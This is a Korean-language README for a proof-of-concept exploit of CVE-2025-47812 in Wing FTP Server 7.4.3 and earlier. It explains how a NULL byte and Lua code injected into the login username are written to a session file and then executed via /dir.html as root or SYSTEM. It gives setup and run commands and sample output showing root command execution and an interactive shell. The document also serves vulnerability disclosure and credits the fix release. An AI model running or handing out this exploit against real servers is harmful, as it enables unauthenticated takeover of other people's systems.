CVE-2025-47812 — Wing FTP Server <= 7.4.3 인증되지 않은 원격 코드 실행 (PoC)

Wing FTP Server <= 7.4.3의 인증되지 않은 원격 코드 실행 취약점입니다. 로그인 중 username 매개변수에 NULL 바이트를 주입하면 Lua 코드가 세션 파일에 기록됩니다. 결과 세션 쿠키로 /dir.html에 접근하면 주입된 코드가 실행됩니다. Linux에서는 root 권한으로, Windows에서는 SYSTEM 권한으로 실행됩니다.

작동 방식

1. 조작된 POST 요청을 /loginok.html로 보내 username 필드에 NULL 바이트와 Lua 코드를 주입합니다.
2. 서버는 검증되지 않은 사용자 이름(Lua 페이로드 포함)을 포함하는 세션 파일을 생성합니다.
3. 반환된 UID 쿠키와 함께 /dir.html에 GET 요청을 보내면 주입된 Lua 코드가 실행됩니다.
4. 스크립트는 서버의 동시 세션 제한에 도달하지 않도록 명령 사이에 로그아웃합니다.

요구 사항

• Python 3
• 종속성 설치:

python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests prompt_toolkit

사용법

python3 exploit.py -u http://TARGET

예시:

$ python3 exploit.py -u http://10.10.10.10
[*] Targeting http://10.10.10.10
[*] Logging in with injected payload...
[*] Triggering payload...
[+] Target is vulnerable! Command output:
uid=0(root) gid=0(root) groups=0(root)

[+] Shell opened. Type 'exit' or Ctrl+C to quit.

Shell> whoami
root

참고 자료

• CVE-2025-47812
• Wing FTP Server 7.4.4 릴리스 (수정)
• 4m3rr0r의 원본 PoC

크레딧

• 발견 및 원본 익스플로잇: Sheikh Mohammad Hasan aka 4m3rr0r
• 정리 및 단순화: Esteban Zárate